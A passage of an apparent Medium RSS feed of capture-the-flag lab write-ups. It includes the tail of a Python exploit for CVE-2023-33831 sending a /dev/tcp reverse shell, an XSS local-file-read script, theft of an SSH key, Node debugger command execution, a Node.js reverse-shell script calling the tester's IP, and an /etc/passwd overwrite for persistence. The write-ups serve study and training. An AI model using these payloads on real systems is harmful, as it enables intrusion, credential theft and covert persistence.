/dev/tcp/%s/%s 0&gt;&amp;1\&quot;&#39;)&quot; % (lhost,lport)<br>                }<br>            }<br>        }<br>    try:<br>        response = requests.post(url, json=payload)<br>    except requests.exceptions.ConnectionError:<br>        print(&quot;url connection error&quot;)<br><br>parser = argparse.ArgumentParser(formatter_class=RawTextHelpFormatter, usage=&quot;python exploit.py --rhost &lt;ip&gt; --rport &lt;rport&gt; --lhost &lt;lhost&gt; --lport &lt;lport&gt;&quot;)<br>parser.add_argument(&#39;--rhost&#39;, dest=&#39;rhost&#39;, action=&#39;store&#39;, type=str, help=&#39;insert an rhost&#39;, required=True)<br>parser.add_argument(&#39;--rport&#39;, dest=&#39;rport&#39;, action=&#39;store&#39;, type=str, help=&#39;insert an rport&#39;, default=&quot;1881&quot;)<br>parser.add_argument(&#39;--lhost&#39;, dest=&#39;lhost&#39;, action=&#39;store&#39;, type=str, help=&#39;insert an lhost&#39;, required=True)<br>parser.add_argument(&#39;--lport&#39;, dest=&#39;lport&#39;, action=&#39;store&#39;, type=str, help=&#39;insert an lport&#39;, required=True)<br>args=parser.parse_args()<br><br>main(args.rhost, args.rport, args.lhost, args.lport)</pre><p>There are a couple of sections to observe. It indeed targets the /api/runscript endpoint as indicated in the url variable definition. We can also see the RCE entry point nested after FORBIDDEN SECTION. They have chosen a simple reverse shell but as we know, <a href="https://www.revshells.com/">revshells.com</a> has many more option we could insert there instead.</p><p>Usage is straightforward.</p><pre>python3 CVE-2023-33831.py --rhost &lt;ip&gt; --rport &lt;rport&gt; --lhost &lt;lhost&gt; --lport &lt;lport&gt;</pre><p>With our version change, I am not confident that the /api/runscript endpoint still exists, but we may be able to post that code into the /scripts endpoint we examined earlier.</p><p>I guess we should populate the python script arguments and give it shot, be sure to set up a listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0eZo5VkQvwOL0CjTLs3Fwg.png" /><figcaption>I used port 1881 betting that traffic egress is open.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GztTepzt-x1by6pwIqrA6w.png" /></figure><p>Check the listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*imBzvuVs5e2ekd193RlY4g.png" /></figure><p>Oh dear, that was super easy. Everything worked straight out of the box.</p><p>It’s not always like that, happy day I guess. Thank you for reading, you are welcome to comment and share your methods or ideas. I live everyday to learn more about Cyber Security in general, but specifically network penetration testing. That’s my jam!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e0fe2381439" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds Practice — CTF-200–03]]></title>
            <link>https://medium.com/@Dpsypher/proving-grounds-practice-ctf-200-03-5bde2be7d439?source=rss-60268ef8e972------2</link>
            <guid isPermaLink="false">https://medium.com/p/5bde2be7d439</guid>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Dpsypher]]></dc:creator>
            <pubDate>Fri, 08 Mar 2024 19:25:39 GMT</pubDate>
            <atom:updated>2024-03-12T18:15:07.818Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds Practice — Markers (CTF-200–03)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kmzVJBYOUQQJyhznO6Fe4Q.png" /></figure><p>This is an intermediate box on Offsec’s PG Practice but the community has rated this Very Hard. It is more difficult than the DLC for Dark Souls 2 — for masochists only. This tested my Try Harder mentality.</p><p>Start with a Nmap scan:</p><pre>sudo nmap -Pn -n $IP -sC -sV -p- --open</pre><p>I start nearly every box this way because it quickly returns a wealth of information. Sudo as it defaults to the faster half-open SYN scan, then -Pn to ignore ping and assume it is up, -n to ignore DNS, the IP address, -sC for default scripts, -sV for version information, -p- to scan all ports, and MOST importantly the — open argument to apply scripts and version scans to found open ports<em> only</em>.</p><pre>┌──(kali㉿kali)-[~/offsec-labs/TEMP-publish]<br>└─$ sudo nmap -Pn -n $IP -sC -sV -p- --open                                                                           1 ⨯<br>[sudo] password for kali: <br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-04 09:06 EST<br>Nmap scan report for 192.168.188.34<br>Host is up (0.088s latency).<br>Not shown: 65533 closed tcp ports (reset)<br>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)<br>|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)<br>|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)<br>3000/tcp open  http    Node.js (Express middleware)<br>|_http-title: Markdown to PDF Converter<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>When the TCP scan finishes, immediately run a UDP scan.</p><pre>sudo nmap -Pn -n $IP -sU --top-ports=100 --reason</pre><p>Even if it comes up empty, scanning the UDP ports as well is best practice. When it hits, it’s usually a big deal, maybe Simple Network Management Protocol (SNMP) is available. Note that I am only interested in the top 100 ports. UDP scans take a long time if we are not precise. Lastly we add — reason to understand why ports are returned as open, open|filtered, or closed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*fExQBnuRU0SOEeVvaMZ4Tg.png" /><figcaption>Nothing this time.</figcaption></figure><p>What do we see with our initial TCP Nmap scan?</p><p>Only two ports open, a Node.js web server on port 3000 and SSH on port 22. It’s always a bit of a relief to see this output since we know that access will be though the Web server. In that sense the port determination is uncomplicated. This is a similar setup to the last machine, CTF-200–02, and we will follow the same process.</p><p>As we do, let’s start Gobuster against the web server first.</p><pre>sudo gobuster dir -w &#39;/home/kali/Desktop/wordlists/dirbuster/directory-list-2.3-medium.txt&#39; -u http://$IP:3000 -t 42 -b 400,401,403,404 --no-error</pre><p>I run it with 42 threads (-t 42) because it’s a good balance of speed and caution. If you go too fast, directories and files can be missed. Also, I’m not bug hunting, so I’m not going to dive deeply into fuzzing different 400 codes. They are just visual noise to me, so I eliminate them (-b 400,401,403,404). Lastly, I loathe seeing the ‘Time Exceeded’ errors so we eliminate them with — no-errors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_AzVbQVz9344xMHAUt5x8w.png" /></figure><p>Port 22 — SSH, OpenSSH 8.2p1 Ubuntu 4ubuntu0.9</p><p>SSH exploits are extremely rare and difficult to exploit if they exist (i.e. <a href="https://terrapin-attack.com/">Terrapin</a>). My process is to grab the type of accepted key in case it comes up later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/114/0*zXVOnMQqg0EYwqTr.png" /></figure><p>Port 3000— Web Server, Apache 2.4.56 ((Debian))</p><p>We browse there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*1FdRetv3mQhgpiDIQNpBcw.png" /></figure><p>Look at the source page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*3pRC4tFLbXGFVvSE-XebcQ.png" /></figure><p>We can see an upload directory is available without finding it in Gobuster. Assuming this is directly accessible we may be able to upload a malicious files and access it but can we get the web server to run the code for RCE?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*tkovOEOidEH3SMg7AX0EwA.png" /><figcaption>Nope, likely only takes the POST http verb.</figcaption></figure><p>Let’s explore how the application works. The idea here is to test and manipulated it an as many ways as we can think of to understand the code and functionality. For this we will want to have Burp Suite Fired up with Intercept on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*HGoWDa8ukBt1pi-QKMlSiw.png" /></figure><p>Then I’ll create a simple markdown file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*CwduBtPSZe2DMp2BKk056w.png" /></figure><p>Select it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*CdwOVnNos9scYg080dQBSg.png" /></figure><p>Convert it and watch the process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cbA8SFILm4FchanDHgXskg.png" /><figcaption>Send this to repeater</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4BEzy0nLTxPoxgQ434R1Ew.png" /><figcaption>I just want to watch the process from here.</figcaption></figure><p>Then the application will automatically download and open the your file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/221/1*734z7_LRSOL4gDEkoDjWxA.png" /><figcaption>The Tab gives us version information.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*ko2_hLatRHvNknU7IyUT5A.png" /></figure><p>That is the section that feels vulnerable to me. If we can somehow turn that ‘auto-open’ to a different command execution, we can achieve access. The operative language is JavaScript as displayed by “X-Powered-By: Express” in the response header.</p><p>Now that we have some version information, it is a good time to look for a public exploit.</p><p><a href="https://github.com/advisories/GHSA-qghr-877h-f9jh">I find some information about it</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CJG7DR2dAq3KHOmCWDH7mw.png" /></figure><p>Okay let’s open up a text editor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*YqvTGyXA1ens-HMmtwO9GQ.png" /></figure><p>Then try some XSS paylaods.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*zie5wmzcu3DtEqNuf1cIQw.png" /><figcaption>This is the most basic XXS payload</figcaption></figure><p>If this works, it should show us an alert.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*hFma3zKjjhfTGoBsuK0MQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JWakJtgjnPiz8BiEqTY_SQ.png" /></figure><p>Blank output. This is good, no errors. Often times in our profession a non-no is a yes. I believe this means that the code was run, but since it was server-side, we did not see it.</p><p>Let’s try another one that can reach back to our machine. Insert your tun0 IP address.</p><pre>&lt;iframe src=http://192.168.x.x/rev.js height=”0” width=”0”&gt;&lt;/iframe&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*j9CnOb9TWceC7vDOr8OZ6A.png" /></figure><p>Then set up a simple file server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*tx14GaOIDyQKCaqFLflKHA.png" /></figure><p>Now upload the revised mark down file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*5J2ITBErKL-8-8cqHPgUPw.png" /><figcaption>This is not blank. There is an image placeholder icon.</figcaption></figure><p>Check you file server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*O4o2UMwjVnA-gSNZ1Sz5Cg.png" /></figure><p>The file was retrieved but can we execute it?</p><p>I was not able to find a way to do this. I suspect that the file permissions did not allow this. I will have to investigate that when we achieve access. If anyone finds a way, please leave it as a comment. It would please me greatly to know it was possible and I did not find it.</p><p>Instead for now, let’s keep looking at the work researchers have done for us already. We should be able to also get local files.</p><p>From the <a href="https://github.com/advisories/GHSA-qghr-877h-f9jh">Github advisory</a> above I go to the <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-0835">NIST link</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RIhTsxQWCX_CkJEDxH0seQ.png" /></figure><p>Which leads me to a <a href="https://fluidattacks.com/advisories/relsb/">Proof of Concept exploit</a>. This was exactly the type of code I was hoping to find:</p><pre>&lt;script&gt;<br>    // Path Disclosure<br>    document.write(window.location);<br>    // Arbitrary Local File Read<br>    xhr = new XMLHttpRequest;<br>    xhr.onload=function(){document.write((this.responseText))};<br>    xhr.open(&quot;GET&quot;,&quot;file:///etc/passwd&quot;);<br>    xhr.send();<br>&lt;/script&gt;</pre><p>We replace our current code with this and upload it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eoddc52K81X2Qmd_IhgLxQ.png" /><figcaption>Success</figcaption></figure><p>We can see users root and sau. I find it odd the non-root user does not have console access but<em> does</em> have a home directory.</p><p>I wonder if we can find SSH keys?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*KckRTP8WmGsCkB_kzp1uxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*vzUHBfeLPFRb9D8zfOqgBw.png" /><figcaption>The section of our code that was for path disclosure is working. This is also where the application is running from. If it’s running from /opt, then that means the application is running as root. Oops, bad idea.</figcaption></figure><p>Maybe there isn’t a root key.</p><p>We can verify by trying to grab the flags. We know their locations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*9TnsXPpNb-eErr4T7Y9PbQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*j2IHoLvYlMdiNueovaKQZA.png" /><figcaption>Note that: Flag retrieval like this is NOT allowed on the OSCP exam.</figcaption></figure><p>So this works, now for root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*NIZaZMLtuzdTsB1cSQ6tbA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*s0TWif2LB9eFvNvRGOa48Q.png" /></figure><p>Same response as before. We should be searching for SSH keys in the sau user then, since we have access to that user’s home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*0i2COfZKaGnV4m54938PPQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w0ffD1JNmc1RTFV5Uxjsqw.png" /></figure><p>Success!</p><p>At last, noting the key types accepted by the SSH server paid off. Now we copy this into a file and confine is permissions so that it will be accepted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*DUsTiXMSHMoEnJwxzDOFiA.png" /><figcaption>We need to put it in proper format. Be sure to have a new line after the dashes at the end.</figcaption></figure><p>Can we get in now?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n2vYb8KI7eG37cGVtt5fTg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*6LRfa3suaRu9ReyotznT7Q.png" /></figure><p>Nope. Shucks. This is quite the conundrum.</p><p>We are being blocked by the section of the /etc/passwd file I indicated earlier, where is reads /usr/sbin/nologin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*W3PMVLT60bbqdcRyrExLeQ.png" /></figure><p>I tried replacing this file with SCP since we DO have the key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QDLyobMlB3-LhGlgd120xw.png" /></figure><p>This also did not work.</p><p>Eventually I had to seek help. Special thanks to <a href="https://medium.com/@0xrave/ctf-200-03-offsec-proving-grounds-practice-labor-day-ctf-machine-walkthrough-1f3517fb4250">OxRave</a>, to whose guide helped me overcome this machine. I enjoy reading his walkthroughs after I have completed mine, although in this case, I’m not sure I would have figured it out without him and that’s okay. My philosophy is that we are all here to learn from and mentor each other.</p><p>He reminded me that we can do a SSH dynamic port forward.</p><p>First we need to add the port we which to use a socks proxy to our /etc/proxychain4.conf.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*60CQhv0Ul9WMio9XDwDzkg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/278/1*3elukXDiPSY7l6lDauD9lQ.png" /><figcaption>Add this to the bottom</figcaption></figure><p>Then we are going to create a non-interactive dynamic port forward with the following command. (I always export my assigned IP address to the variable $IP)</p><pre>ssh -i id_rsa -N -D 127.0.0.1:1080 sau@$IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*QDIe5hoCEGgbUTk7cIkaYA.png" /><figcaption>You will not receive any output</figcaption></figure><p>Where -i is to include the key, -N indicated non-interactive, and -D is specifies dynamic port forwarding. This option tells SSH to create a SOCKS proxy on the local machine at port 1080 (127.0.0.1:1080). All traffic sent to this port will be forwarded through the SSH connection to the remote host.</p><p>This means that if I use a command, like Nmap, to target my localhost IP address and port (127.0.0.1:1080) it will send all requests <em>through</em> the SSH tunnel on my side to come out the SSH tunnel on the remote side, effectively allowing us to scan the machine <em>from</em> the remote side (an internal scan). This is useful because we can then access ports that are <em>only</em> accessible internally.</p><p>Let’s check to make sure that our SSH command worked and that our tunnel is up.</p><pre>netstat -antup</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d24Pf8MFCfsX_uC2TEmBtw.png" /><figcaption>We should be all good under the hood.</figcaption></figure><p>Now for a scan.</p><pre>proxychains -q nmap -sT -p- -T5 127.0.0.1</pre><p>Be sure to use the -q to quite the constant proxychains messaging because it will be an annoying distraction. Also we need to use the -sT to ensure a standard TCP connection when working through proxychains. I’ve selected -p- to scan ALL ports and -T5 to do it quickly.</p><p>This will take a long time. I took a break, did my morning exercises, had breakfast, and played Elden Ring for an hour before it was done. This is an ideal time to try and figure out how to execute the previously uploaded file or another method of getting access. Just be sure not to revert the machine or it is all for nothing.</p><p>In hindsight, I recommend doing a task like this in stages. Going forward that is my new process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VUIBJ3ayaHu_7m-CKdeqtA.png" /><figcaption>We found something!</figcaption></figure><p>I am not familiar with this and Google did not give me a great response, so I ask ChatGPT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QlJkKadDxn7xL2GJkKRX2A.png" /><figcaption>This is an excellent study tool, but as of this writing AI use is prohibited on the OSCP exam.</figcaption></figure><p>Remote management, we like that. Let’s keep enumerating.</p><pre>proxychains -q nmap -sT -sC -sV -p 1313 127.0.0.1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IgKs9NUv_mCT0LOH5UgxvQ.png" /></figure><p>The most interesting section is ‘WebSockets request was expected’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uqYZmH_kWU_5lg_ybvzJ5g.png" /></figure><p>Nmap attempted a HTTP connection but was rejected because this service expects a WebSockets connection.</p><p>Okay so there is a WebSockets connection listening on port 1313 that we discovered through our dynamic port forward. Since that is the only port we are now interested in, I’m going to tear down the Dynamic Socks Proxy and instead do a local port forward to only that port.</p><pre>ssh -i id_rsa -N -L 1313:127.0.0.1:1313 sau@$IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*kPkDZtqz9asrRQZReyo_tA.png" /></figure><p>Now <em>my</em> port 1313 forward through the SSH tunnel to the remote port 1313.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*7eqO8h3HChUj62Yi09zLrg.png" /></figure><p>Now we can reach it directly, how do we make a WebSockets connection?</p><p>We can ask our famous know-it-all:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s-_uvKkWhEQSRQbvtjYa6w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b7BXQz8OlI4imRnUY8SMAA.png" /></figure><p>Node.js is mentioned again. This is what we were manipulating before and it is reported by Nmap. First I had to install the ‘nodejs’ command line tool in Kali.</p><pre>sudo apt install nodejs</pre><p>I was a bit lost at this point and had to research WebSockets and how to use the node.js package I just installed. <a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse#connect-to-inspector-debugger">Hacktricks was useful as always.</a> It informed me of two important techniques.</p><ol><li><strong>How to connect via the command line.</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gtK-dl35fJiGied7aFM6YA.png" /></figure><p>Apparently, now that we have access to the debugging port 1313, we can connect to it with:</p><pre>node inspect 127.0.0.1:1313</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*8e21_7BwqfCgiWhkK714Aw.png" /></figure><p>This is good we have a debug prompt, we may be able to execute commands from here. We will come back to this!!!</p><p><strong>2. How to inspect the application using Chromium Debugger</strong>.</p><p>Thanks again also to OxRave for demonstrating this or I wouldn’t have known to do it. While we already have an avenue to execute commands, it is important to be aware and follow the process of inspecting the application. This is best practice. Fortunately Burp Suite already has chromium installed by default, so we can open it there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I5GTcZqqk6KurniLBixi7w.png" /></figure><p>Go to our port forward to verify.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*PyF1c6fqr-6QJG1qI9-OZw.png" /></figure><p>Looks good. Now if we inspect:</p><pre>chrome://inspect</pre><p>This opens chromium’s debugger. It will inspect locations localhost:9222 and localhost:9229 by default. We need to add our forwarded port to the locations it is inspecting. Open DevTools as below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*Xf80j-uHgbJ0KFFVFc9Xfg.png" /></figure><p>Add a new connection to our port forward address 127.0.0.1:1313</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*DWOs4LNajLfofMZWGxAMBQ.png" /></figure><p>This will allow a connection to the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*nNL8P3ZFyQHM_MrkdrDhRQ.png" /></figure><p>If it does automatically open DevTools then select ‘inspect’ as above.</p><p>In DevTools we can see the code for the Markdown to PDF converter on port 3000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jHZRBT5nDxkpQkUNxUrmcw.png" /></figure><p>This is a good place to look for vulnerabilities in the code. You could even copy it from here, paste it into VS Code and run it through Snyk if you wished.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*g25Fc83a95pSU6Ig9ad_-g.png" /><figcaption>Notice that it whitelists the upload by extension .md</figcaption></figure><p>While that is a fun an interesting tangent, let’s return to our debugging console.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*bcqyVimHcw2uXEYkEO09Vw.png" /></figure><p>From here we can execute commands. This was a learning experience for me. The help command gives me a clue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EDc6ZdxDH0HMlQvfnohA5Q.png" /></figure><p>Unfortunately I don’t really know how to use node.js so I look to <a href="https://www.revshells.com/">revshells.com</a> for some code ideas.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8jplpRISmOdG1jRcx1pNmw.png" /></figure><p>I always like to make sure the channel for code execution is <em>actually there</em> by testing it with a simple command, like ‘whoami’. In this case, we have no way of knowing if the command was successful because the debugger is not going to ferry back a terminal response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*cwLd9JtuRN71rqOtEZoupw.png" /><figcaption>Remember that a non-no is often a yes. There are no obvious errors in this response, that constitutes a ‘non-no’</figcaption></figure><p>As you can see, I have taken the exec() function from the help menu and nested the code I found from revshells.com but instead of a revshell, I have ‘whoami’.</p><p>We can try it to get a file, first set up a listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*Goz1osjvDlIeEyfzDbdlBg.png" /></figure><p>The put in the appropriate code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wg0XfYXYI4A4evbjMh8BAg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*r2xp3KUVIuxnjRTV3kdjuw.png" /></figure><p>It worked! We definitely have access to system commands this way. At the end of this I will show the contents of the rev.js file and how I arrived at them.</p><p>For now since we know how to execute commands, we can use a reverse shell directly.</p><p>Set up a <a href="https://github.com/brightio/penelope">Penelope</a> listener. I will use port 3000 since we know it is open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HanqwbAP7751hLRLr6gk6A.png" /></figure><p>The syntax for the debug prompt to execute commands is as follows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*5RJ_bln4mZZUwFjDrb3yIQ.png" /></figure><p>Medium.com will not allow us to post this code directly, it must set off security alarms internally. We replace ‘COMMAND HERE’ with the rev-shell code from the old reliable ‘nc mkfifo’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J4HmnssaAPAG4PzLZeaVJg.png" /></figure><p>So all together is is</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AI12iVDh0lpmEHV8TmUTog.png" /></figure><p>Check the listener:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*IpQ92i7MUmuy7NyKrPKCQQ.png" /></figure><p>Finally. Phew.</p><p>Now I’m going to show the contents of rev.js because we could have also gained access by getting and executing this file. This also comes from revshells.com. It is the other use of node.js.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*rK0nEPnmrTssu0HbPW2Nnw.png" /></figure><pre>(function(){<br>    var net = require(&quot;net&quot;),<br>        cp = require(&quot;child_process&quot;),<br>        sh = cp.spawn(&quot;bash&quot;, []);<br>    var client = new net.Socket();<br>    client.connect(80, &quot;192.168.45.176&quot;, function(){<br>        client.pipe(sh.stdin);<br>        sh.stdout.pipe(client);<br>        sh.stderr.pipe(client);<br>    });<br>    return /a/; // Prevents the Node.js application from crashing<br>})();</pre><p>I put this into the file rev.js.</p><p>I already showed how to get the file. We can also execute it as we did the ‘nc mkfifo’ code, that is, right from the debug console. Be sure to set up a listener!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*Z3njR8shYMtjyqL6nIjjJQ.png" /></figure><p>Check the listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*q52s8VGKFFSP0wyk3u51DA.png" /></figure><p>I tried multiple methods of getting and then executing different files directly from the original markdown application but was not every able to execute (or even find) them.</p><p>It is also possible to get SSH access to sau by replacing the /etc/passwd file.</p><p>We already have a copy of /etc/passwd from the file disclosure vulnerability that gave us the SSH key. We need to copy it to a file and change the /usr/sbin/nologon to /bin/bash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*kYgdLIE7_dGsfCVoHInh0A.png" /></figure><p>Then in two steps, get the file and then copy over the original.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9zRRudOteKfjiaLOncmAiA.png" /></figure><p>Now we have SSH access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*GwbzRmloIflQEybhFJFV6w.png" /></figure><p>This is a subtle form of persistence, especially if you use root to now give this user better permissions.</p><p>Thank you everyone for reading. That was fun!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5bde2be7d439" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds Practice — CTF-200–02]]></title>
            <link>https://medium.com/@Dpsypher/proving-grounds-practice-ctf-200-02-6b114263cd04?source=rss-60268ef8e972------2</link>
            <guid isPermaLink="false">https://medium.com/p/6b114263cd04</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Dpsypher]]></dc:creator>
            <pubDate>Sat, 02 Mar 2024 16:30:58 GMT</pubDate>
            <atom:updated>2024-03-14T14:21:45.206Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds Practice — <br>MZEEAV (CTF-200–02)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*GmkNUTyk5Cl4JvLENgGgfg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2H-zt_8ecqVhbgpnPlJp2A.png" /></figure><p>This is an intermediate box on Offsec’s PG Practice and the community agrees that it is of intermediate difficulty.</p><p>Start with a Nmap scan:</p><pre>sudo nmap -Pn -n $IP -sC -sV -p- --open</pre><p>I start nearly every box this way because it quickly returns a wealth of information. Sudo as it defaults to the faster half-open SYN scan, then -Pn to ignore ping and assume it is up, -n to ignore DNS, the IP address, -sC for default scripts, -sV for version information, -p- to scan all ports, and MOST importantly the — open argument to apply scripts and version scans to found open ports<em> only</em>.</p><pre>└─$ sudo nmap -Pn -n $IP -sC -sV -p- --open          <br>[sudo] password for kali: <br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-29 09:21 EST<br>Nmap scan report for 192.168.194.33<br>Host is up (0.090s latency).<br>Not shown: 63421 closed tcp ports (reset), 2112 filtered tcp ports (no-response)<br>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)<br>| ssh-hostkey: <br>|   3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)<br>|   256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)<br>|_  256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)<br>80/tcp open  http    Apache httpd 2.4.56 ((Debian))<br>|_http-title: MZEE-AV - Check your files<br>|_http-server-header: Apache/2.4.56 (Debian)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>When the TCP scan finishes, immediately run a UDP scan.</p><pre>sudo nmap -Pn -n $IP -sU --top-ports=100 --reason</pre><p>Even if it comes up empty, scanning the UDP ports as well is best practice. When it hits, it’s usually a big deal, maybe Simple Network Management Protocol (SNMP) is available. Note that I am only interested in the top 100 ports. UDP scans take a long time if we are not precise. Lastly we add — reason to understand why ports are returned as open, open|filtered, or closed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*3aBKj2p66tn3UqLRg12ylg.png" /><figcaption>Swing and a miss. This happens often but we have to check.</figcaption></figure><p>What do we see with our initial TCP Nmap scan?</p><p>Only two ports open, a web server on port 80 and SSH on port 